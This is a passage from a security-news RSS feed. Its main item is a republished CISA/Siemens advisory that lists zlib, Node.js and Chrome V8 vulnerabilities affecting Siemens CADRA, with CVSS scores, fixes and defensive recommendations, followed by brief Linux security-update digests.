<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens CADRA</td>
<td>Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Commercial Facilities, Communications, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2005-2096</a></h3>
<div class="csaf-accordion-content">
<p>zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2005-2096">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9840</a></h3>
<div class="csaf-accordion-content">
<p>inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9840">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9841</a></h3>
<div class="csaf-accordion-content">
<p>inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9842</a></h3>
<div class="csaf-accordion-content">
<p>The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2017-14919</a></h3>
<div class="csaf-accordion-content">
<p>Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2017-14919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.0</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2018-25032</a></h3>
<div class="csaf-accordion-content">
<p>zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2018-25032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37434</a></h3>
<div class="csaf-accordion-content">
<p>zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2023-45853</a></h3>
<div class="csaf-accordion-content">
<p>MiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2023-45853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-10585</a></h3>
<div class="csaf-accordion-content">
<p>Type confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-10585">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-13223</a></h3>
<div class="csaf-accordion-content">
<p>Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-13223">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Block access to untrusted or external web content from sensitive systems</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22184</a></h3>
<div class="csaf-accordion-content">
<p>zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22184">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>0</td>
<td>NONE</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-470355 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-470355 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3682687/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682687/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 21 Jul 2026 07:17:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (kernel, libnfs, roundcube, and tiff), Fedora (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-ast...]]></description>
<link>https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681213/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 20 Jul 2026 15:10:28 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (kernel, libnfs, roundcube, and tiff), <b>Fedora</b> (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-astral_async_zip, spoofdpi, uv, and yq), <b>Mageia</b> (bind, clamav, erlang, libidn, libreoffice, nmap, nodejs, perl-Bytes-Random-Secure, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-HTML-Parser, perl-Mojolicious, perl-String-Util, python-pydantic-settings, rsync, and upower), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, bind, cockpit, cockpit-image-builder, coreutils, delve, dnsmasq, dovecot, expat, fence-agents, flatpak, frr, gdk-pixbuf2, giflib, glib2, go-fdo-client and go-fdo-server, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, httpd, jq, kernel, keylime, krb5, libcap, libexif, libpng, libsndfile, libsolv, libsoup3, libtasn1, libtiff, libxslt, libyang, mariadb10.11, mod_http2, mod_md, opencryptoki, PackageKit, perl-Archive-Tar, perl-IO-Compress, poppler, postfix, postgresql-jdbc, python-urllib3, python3.14, python3.14-pip, python3.14-urllib3, qt6-qtdeclarative, rrdtool, rsync, ruby, ruby4.0, samba, skopeo, thunderbird, valkey, wireshark, xorg-x11-server-Xwayland, and yggdrasil-worker-package-manager), and <b>SUSE</b> (blender, chromium, containerized-data-importer1, cyrus-imapd, go1.26-openssl, gomuks, grafana, gstreamer-plugins-bad, kbfs, kubevirt1.8-container-disk, libxml2, lux, mariadb-connector-c, nginx, opam, openssl-3, oras, perl-DBI, php-composer2, python-django-haystack, python-paramiko, python-weasyprint, python311, python313-Pillow, python315, shibboleth-sp, system-user-zabbix, and wget).]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (cifs-utils, container-tools:rhel8, libreoffice, nodejs:24, perl-XML-LibXML, and python3.12), Fedora (ansible-collection-ansible-posix, firefox, freerdp, ImageMagick, mingw-glib2, perl-DBI, perl-HTTP-Date, rust-cargo-rpmstatus, and rust-opendal), Ora...]]></description>
<link>https://tsecurity.de/de/3676176/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676176/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (cifs-utils, container-tools:rhel8, libreoffice, nodejs:24, perl-XML-LibXML, and python3.12), <b>Fedora</b> (ansible-collection-ansible-posix, firefox, freerdp, ImageMagick, mingw-glib2, perl-DBI, perl-HTTP-Date, rust-cargo-rpmstatus, and rust-opendal), <b>Oracle</b> (cifs-utils, gegl, gimp, git-lfs, go-toolset:ol8, hplip, kernel, libreoffice, maven:3.9, perl-XML-LibXML, python3, python3.12, python3.9, and uek-kernel), <b>Red Hat</b> (kernel, kernel-rt, and podman), <b>Slackware</b> (netatalk), <b>SUSE</b> (agama, aws-nitro-enclaves-binaryblobs-upstream, gimp, gpsd, grafana, hostapd, ImageMagick, jackson-databind, kernel, libssh2_org, nm-configurator, opennlp, perl-Mojolicious, python-Pillow, python-python-engineio, python-python-socketio, and tomcat11), and <b>Ubuntu</b> (ntfs-3g, python-authlib, ruby2.3, tar, and ubuntu-advantage-tools).]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3673731/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673731/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 16 Jul 2026 16:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Node.js tutorial: Get started with Node]]></title>
<description><![CDATA[Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristic...]]></description>
<link>https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
